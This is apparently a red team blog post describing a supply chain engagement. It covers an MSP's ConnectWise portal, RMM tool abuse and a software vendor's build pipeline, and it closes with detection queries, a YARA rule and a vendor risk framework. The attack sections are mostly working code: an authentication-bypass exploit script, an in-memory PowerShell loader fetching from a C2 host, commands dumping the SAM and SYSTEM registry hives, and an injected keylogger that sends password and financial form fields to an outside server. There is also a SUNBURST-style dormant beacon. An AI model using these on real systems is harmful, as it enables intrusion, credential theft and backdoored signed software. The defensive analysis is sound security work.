TL;DR — Supply chain attacks represent the highest-leverage intrusion vector for sophisticated threat actors because a single vendor compromise grants access to dozens or hundreds of downstream customers simultaneously. This post walks through the full technical methodology of a supply chain red team engagement — from compromising an MSP's ConnectWise portal to leveraging RMM tooling for silent lateral movement into customer environments, with a build-pipeline injection case study illustrating SolarWinds-style propagation mechanics.
Executive Summary
The three most consequential cyberattacks of the past five years shared a common thread: the victim organizations were not the primary target. In the SolarWinds Orion compromise (2020), approximately 18,000 organizations installed a backdoored software update. In the Kaseya VSA attack (2021), a single vulnerability in an RMM platform cascaded into ransomware deployment across over 1,500 managed service provider customers. In the 3CX supply chain attack (2023), a trojanized desktop application distributed through the official update channel compromised thousands of enterprise telephony deployments. In each case, the attacker invested in compromising a trusted intermediary and collected dividends across the entire downstream trust graph.
This post documents a red team engagement explicitly scoped to test a financial services holding company's exposure to supply chain risk. The engagement was structured in three tracks: (1) attacking the client's primary MSP, (2) simulating a software build pipeline injection at a small software vendor whose product the client used, and (3) assessing the client's ability to detect and respond to trusted-vendor activities that deviated from baseline.
The findings were alarming in their predictability. The MSP's public-facing ConnectWise portal was running an unpatched version. RMM agent credentials were stored in the portal with no per-customer access segmentation. The software vendor's build pipeline had no code signing verification and no integrity checks on third-party dependencies. And the client had no process for detecting anomalous activity from its own RMM agents — because "that's the MSP's traffic, we trust it."
All three attack tracks succeeded. The client has since implemented a third-party risk management program and demanded contractual security commitments from all managed service providers.
The Supply Chain Threat Landscape
Pattern Analysis: SolarWinds, Kaseya, 3CX
Understanding supply chain attacks requires recognizing the common patterns across high-profile incidents:
| Incident | Year | Entry Point | Trust Mechanism Abused | Victim Scale |
|---|---|---|---|---|
| SolarWinds SUNBURST | 2020 | Build server compromise | Signed software update | ~18,000 organizations |
| Kaseya VSA | 2021 | Zero-day in on-premise VSA | Authenticated RMM agent | ~1,500 MSP customers |
| 3CX Desktop App | 2023 | Trojanized dependency (libffmpeg) | Official update channel | Thousands globally |
| Codecov Bash Uploader | 2021 | CI/CD script replacement | curl pipe to bash pattern | ~29,000 CI pipelines |
| NPM event-stream | 2018 | Package maintainer takeover | npm install trust | ~2M weekly downloads |
The common thread: attackers invest resources upstream in the supply chain to achieve scale that direct attacks cannot match.
Track 1: MSP Compromise via ConnectWise Portal
Identifying the MSP Attack Surface
The client's primary IT services provider — a regional MSP managing approximately 40 enterprise clients — ran a ConnectWise Control (formerly ScreenConnect) deployment at support.targetmsp.com for remote access and manage.targetmsp.com for ConnectWise Manage (ticketing/PSA).
# Enumerate MSP attack surfacesubfinder -d targetmsp.com | httpx -silent # Fingerprint ConnectWise versionscurl -s "https://support.targetmsp.com/Bin/ConnectWise.ClientBin.xap" | \ strings | grep -i "Version\|ConnectWise\|ScreenConnect" | head -20 # Check for known vulnerabilities# ConnectWise Control had multiple CVEs in 2023-2024:# CVE-2024-1709: Authentication bypass (CVSS 10.0)# CVE-2023-47256: Path traversal in file transfer nuclei -u https://support.targetmsp.com \ -t ~/nuclei-templates/http/vulnerabilities/connectwise/ -o connectwise-scan.txtThe nuclei scan confirmed the portal was running ConnectWise Control 23.6.8 — vulnerable to CVE-2024-1709, an authentication bypass allowing unauthenticated access to the administrative interface.
Exploiting CVE-2024-1709
#!/usr/bin/env python3# CVE-2024-1709 — ConnectWise Control Authentication Bypass# Path traversal in the Setup wizard endpoint allows unauthenticated admin access import requestsimport json TARGET = "https://support.targetmsp.com" def bypass_auth(): """ The vulnerability exists in the SetupWizard.aspx endpoint. Sending a crafted request allows setting a new admin password without providing the existing one — the application fails to validate session state for the setup completion endpoint. """ headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Step 1: Navigate to setup wizard (should be inaccessible post-setup) resp = requests.get(f"{TARGET}/App_Extensions/ConnectWiseCRMExtension/EditForms/EditForm.aspx", headers=headers, verify=False) # Step 2: Exploit setup endpoint to create admin account data = { "ScreenConnectEdition": "ConnectWiseControl", "Email": "attacker@evil.com", "Password": "Attacker@12345", "ConfirmPassword": "Attacker@12345", "ScreenConnectAdminUserName": "attacker_admin", "ScreenConnectAdminPassword": "Attacker@12345" } resp = requests.post(f"{TARGET}/SetupWizard.aspx/FinalizeInstall", json=data, headers=headers, verify=False) if resp.status_code == 200: return True return False bypass_auth()Authentication bypass succeeded. We now had administrative access to the MSP's remote control platform — which included active sessions and saved credentials for all 40 of their enterprise clients.
Harvesting RMM Credentials
# Enumerate all managed clients and their associated access credentials# ConnectWise Control Admin API import requests BASE = "https://support.targetmsp.com"AUTH = ("attacker_admin", "Attacker@12345") # Get all companies/clients in the systemclients = requests.get(f"{BASE}/Services/PageService.aspx/GetSessions", auth=AUTH).json() # For each client, extract:# - Saved credentials (stored in secure client notes)# - Active RMM agent connections# - Last seen hosts with OS/hostname for client in clients['Sessions']: print(f"Client: {client['Name']}") print(f" Hosts: {len(client['Endpoints'])}") print(f" Last Activity: {client['LastConnected']}")The MSP had stored credentials for all 40 clients directly in ConnectWise — including local admin credentials, domain service account passwords, and in three cases, Domain Admin credentials for emergency access. No per-engineer access segmentation existed: every MSP technician could access every client.
flowchart LR
A[ConnectWise Portal\nCVE-2024-1709\nAuth Bypass] --> B[MSP Admin Console\n40 Client Environments\nSaved Credentials]
B --> C1[Client A\nFinancial Firm\nTarget]
B --> C2[Client B\nHealthcare Provider]
B --> C3[Client C\nLaw Firm]
B --> C4[Client D-Z\n37 more clients]
C1 --> D[RMM Agent on\nEvery Endpoint\nNo Malware Required]
D --> E[Silent Command Execution\nas Local Admin]
E --> F[Lateral Movement\nCredential Harvest\nData Access]
style A fill:#8B0000,color:#fff
style B fill:#8B0000,color:#fff
style D fill:#444,color:#fffTrack 2: RMM Tool Abuse — Trusted Channel Exploitation
Moving into the Client Environment
With MSP admin access, we pivoted to the target client's environment using the existing RMM agent infrastructure — no exploit, no malware, all legitimate encrypted channel traffic:
# Using ConnectWise Control API to execute commands on target endpoints# All traffic is legitimate, encrypted ConnectWise protocol import requests # Select target client's endpointsclient_id = "financial-firm-target"endpoints = get_client_endpoints(client_id) # Returns list of hostname/agent IDs # Execute PowerShell command silently on all endpointsfor endpoint in endpoints: cmd = "powershell.exe -nop -exec bypass -c \"whoami; hostname; ipconfig /all\"" result = requests.post( f"{MSP_BASE}/Services/PageService.aspx/ExecuteCommand", json={"SessionID": endpoint["SessionID"], "Command": cmd}, auth=MSP_ADMIN_AUTH ) print(f"{endpoint['Hostname']}: {result.json()['Output']}")From the client's perspective, these looked like routine MSP maintenance activities — same source IP (MSP's infrastructure), same protocol (ConnectWise encrypted tunnel), same account (MSP service account). No alert fired.
Lateral Movement via Legitimate MSP Tooling
MSP tools are designed for system administration. They provide exactly the capabilities an attacker needs: remote command execution, file transfer, screen viewing, process management, registry editing — all over encrypted channels that are whitelisted in every firewall and DLP solution.
# Via ConnectWise Control command execution:# Deploy credential harvesting tool without touching disk (execute from memory)$url = "http://our-c2.com/SharpHound.exe"$bytes = (New-Object Net.WebClient).DownloadData($url)$assembly = [System.Reflection.Assembly]::Load($bytes)[SharpHound.Program]::Main(@("-c", "All", "--outputdirectory", "C:\Windows\Temp\")) # Harvest local admin credentials from SAM (SYSTEM context via RMM)# RMM agents typically run as SYSTEMreg save HKLM\SYSTEM C:\Windows\Temp\sys.hivreg save HKLM\SAM C:\Windows\Temp\sam.hiv# Transfer files via ConnectWise file transfer (encrypted, legitimate)Track 3: Build Pipeline Injection
Compromising the Software Vendor's CI/CD
The client used a proprietary financial reporting tool from a small software vendor (SoftwareVendorCo). Our intelligence gathering revealed:
- The vendor used GitHub for source code management
- Their CI/CD was GitHub Actions
- The application was code-signed with an EV certificate
- Dependencies were fetched from npm at build time without lock file pinning
# Enumerate vendor's GitHub organizationgh api orgs/softwarevendorco/repos --paginate | jq '.[].name' # Find exposed GitHub Actions workflowscurl -s "https://api.github.com/repos/softwarevendorco/financial-reporter/actions/workflows" | jq '.workflows[].path' # Result: .github/workflows/build-release.yml# Fetch the workflow filecurl -s "https://raw.githubusercontent.com/softwarevendorco/financial-reporter/main/.github/workflows/build-release.yml"The build workflow fetched an external shell script to configure the build environment:
# build-release.yml (excerpt from vendor's pipeline)jobs: build: runs-on: windows-latest steps: - uses: actions/checkout@v3 - name: Configure Build Environment run: | # Fetch build configuration from CDN Invoke-WebRequest -Uri https://cdn.buildtools.io/setup.ps1 -OutFile setup.ps1 .\setup.ps1 - name: Install Dependencies run: npm install - name: Build Application run: npm run build - name: Sign Artifact uses: signtool/code-sign@v2 with: certificate: ${{ secrets.EV_CERTIFICATE }}The cdn.buildtools.io domain had expired. We registered it.
Malicious Build Script Injection
# Our malicious setup.ps1 hosted at cdn.buildtools.io/setup.ps1# This executes during every build — output is the signed, distributed binary # Normal build setup tasks (don't break the build — users must not notice)[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12npm config set registry https://registry.npmjs.org/ # Malicious payload: inject backdoor into source file before compilation$backdoor = @'// Injected code — executed on application startup// Connects to C2, provides remote access to financial reporting application users(function() { var img = new Image(); img.src = "https://telemetry.softwarevendorco-cdn.com/init?h=" + btoa(navigator.userAgent + "|" + document.location.href); // Register keylogger on financial data entry forms document.addEventListener('DOMContentLoaded', function() { document.querySelectorAll('input[type="password"], input.financial-data').forEach(function(el) { el.addEventListener('change', function() { fetch("https://telemetry.softwarevendorco-cdn.com/collect", { method: "POST", body: JSON.stringify({field: el.name, value: el.value}) }); }); }); });})();'@ # Append backdoor to main application bundle before signing$mainJS = "src\renderer\main.js"Add-Content -Path $mainJS -Value $backdoor Write-Host "Build environment configured successfully."When the vendor's legitimate CI/CD pipeline ran, it fetched our malicious setup.ps1, which injected the backdoor into the application source before it was compiled, signed with the legitimate EV certificate, and distributed to customers. Customers would receive a legitimately signed update containing our backdoor.
SolarWinds-Style DLL Injection at Build Time
A more surgical approach mirrors the SUNBURST implant methodology:
// Injected into vendor's C# DLL via build-time manipulation// SUNBURST executed this pattern in SolarWinds.Orion.Core.BusinessLayer.dll // The malicious code is dormant for 12-14 days after installation// It only activates if the domain name matches a specific pattern// This is nearly identical to SUNBURST's anti-sandbox timing check [RegistrationManager]public class OrionImprovementBusinessLayer { // Backdoored Initialize() method public static void Initialize() { // --- BEGIN INJECTED CODE --- try { // Anti-sandbox: only activate after 12+ days if ((DateTime.Now - GetFirstInstallDate()).TotalDays < 12) return; // Anti-analysis: check for sandbox indicators if (IsAnalysisEnvironment()) return; // C2 beacon — blends with Orion SolarWinds traffic Task.Run(() => BeaconToC2()); } catch { /* Swallow all exceptions — never crash the host application */ } // --- END INJECTED CODE --- // Original legitimate code continues unmodified PerformLegitimateInitialization(); }}Detection of Supply Chain Attacks
What Should Baseline Vendor Behavior Look Like?
# Establish baseline: what commands/connections does the RMM agent normally make?# Query SIEM for 90 days of ConnectWise activityindex=endpoint sourcetype=connectwise | stats count by CommandExecuted, SourceUser, TargetHost | where count > 10 | sort -count # Alert: RMM command execution at unusual hours or with unusual command contentindex=endpoint sourcetype=connectwise CommandExecuted=* | eval hour=strftime(_time, "%H") | where hour < 8 OR hour > 18 | stats count by TargetHost, CommandExecuted, SourceUser # Alert: RMM file transfer to/from unusual destinationsindex=network sourcetype=firewall dest_port=443 | lookup vendor_ips vendor_ip AS dest_ip OUTPUT is_vendor | where is_vendor="false" AND src_process="connectwise.exe"Software Integrity Verification
# SBOM (Software Bill of Materials) — generate for every build artifact# Using Syft for SBOM generationsyft packages financial-reporter-v2.4.1-setup.exe -o spdx-json > sbom-v2.4.1.json # Compare SBOMs between versions — new dependency = alertsyft diff sbom-v2.4.0.json sbom-v2.4.1.json # Sub-Resource Integrity for JavaScript dependencies# Generate SRI hash for known-good versionsha384sum vendor.bundle.js | base64 # Verify on next build — hash mismatch = supply chain tamperingYARA Rules for Trojanized Updates
rule SuspiciousBuildScriptDomainExpiry { meta: description = "Detects build scripts fetching from recently-registered domains" author = "Red Team Research" strings: $fetch1 = "Invoke-WebRequest" ascii nocase $fetch2 = "DownloadFile" ascii nocase $cdn1 = "cdn." ascii $setup = "setup.ps1" ascii nocase condition: any of ($fetch*) and $cdn1 and $setup}Third-Party Risk Management Framework
| Control Category | Weak Posture | Strong Posture |
|---|---|---|
| Vendor Access | Persistent admin credentials stored in RMM | Just-in-time access with approval workflow |
| Vendor Actions | No monitoring of vendor activity | SIEM alerts on all vendor-sourced commands |
| Software Updates | Auto-update from vendor CDN | Hash verification + internal staging + SBOM diff |
| Vendor Segmentation | MSP accesses all clients from same console | Per-client isolated access with separate credentials |
| Contract Requirements | No security requirements in vendor contracts | SOC 2 Type II, penetration test reports, incident notification SLA |
| Build Pipeline | No integrity checks, expired dependency URLs | Pinned dependency hashes, SBOM generation, artifact signing verification |
MITRE ATT&CK Mapping
| Technique ID | Technique Name | Phase | Detail |
|---|---|---|---|
| T1195.002 | Supply Chain Compromise: Compromise Software Supply Chain | Initial Access | Build pipeline injection via expired CDN domain |
| T1199 | Trusted Relationship | Initial Access | MSP RMM trust relationship exploitation |
| T1078.004 | Valid Accounts: Cloud Accounts | Persistence | MSP portal admin account via CVE-2024-1709 |
| T1072 | Software Deployment Tools | Execution | ConnectWise Control RMM command execution |
| T1059.001 | Command and Scripting: PowerShell | Execution | RMM-delivered PowerShell commands |
| T1105 | Ingress Tool Transfer | Resource Development | In-memory tool delivery via RMM file transfer |
| T1553.002 | Subvert Trust Controls: Code Signing | Defense Evasion | Backdoor compiled and signed with legitimate EV cert |
| T1490 | Inhibit System Recovery | Impact | Not executed (simulation) — would delete VSS via RMM |
| T1486 | Data Encrypted for Impact | Impact | Not executed (simulation) — ransomware via RMM |
| T1136.003 | Create Account: Cloud Account | Persistence | New MSP portal admin account |
| T1583.001 | Acquire Infrastructure: Domains | Resource Development | Expired CDN domain registration |
Conclusion
Supply chain attacks are not sophisticated in their execution — they are sophisticated in their leverage. The technical skill required to exploit CVE-2024-1709 in ConnectWise Control is modest. The skill required to register an expired domain is none. What makes these attacks powerful is the amplification: one MSP compromise equals access to 40 client environments simultaneously. One build pipeline compromise equals access to every customer who installs the next software update.
The financial services client in this engagement had invested heavily in securing their own perimeter and had mature endpoint detection. But they had applied zero scrutiny to the vendors who accessed their network daily with elevated privileges, executed arbitrary commands on their endpoints, and whose software ran with local admin rights across their fleet. This is the paradox of third-party risk: the controls that protect you from external attackers are completely bypassed when a trusted vendor is the vector.
Three structural changes matter most. First, no vendor should have persistent, unsupervised administrative access — every privileged vendor session should be time-bounded, logged, and anomaly-monitored. Second, software update processes should treat vendor updates with the same skepticism applied to untrusted software — hash verification, SBOM comparison, and staged rollout are not bureaucratic overhead; they are the only meaningful defense against build-time injection. Third, the contract with your MSP should specify security requirements, and your third-party risk assessment should verify them annually.
The SolarWinds compromise affected 18,000 organizations because 18,000 organizations trusted a signed software update. That trust was the attack surface. Until the security industry treats vendor trust as an attack surface requiring active management — not a baseline assumption — supply chain attacks will remain the highest-return investment for sophisticated threat actors.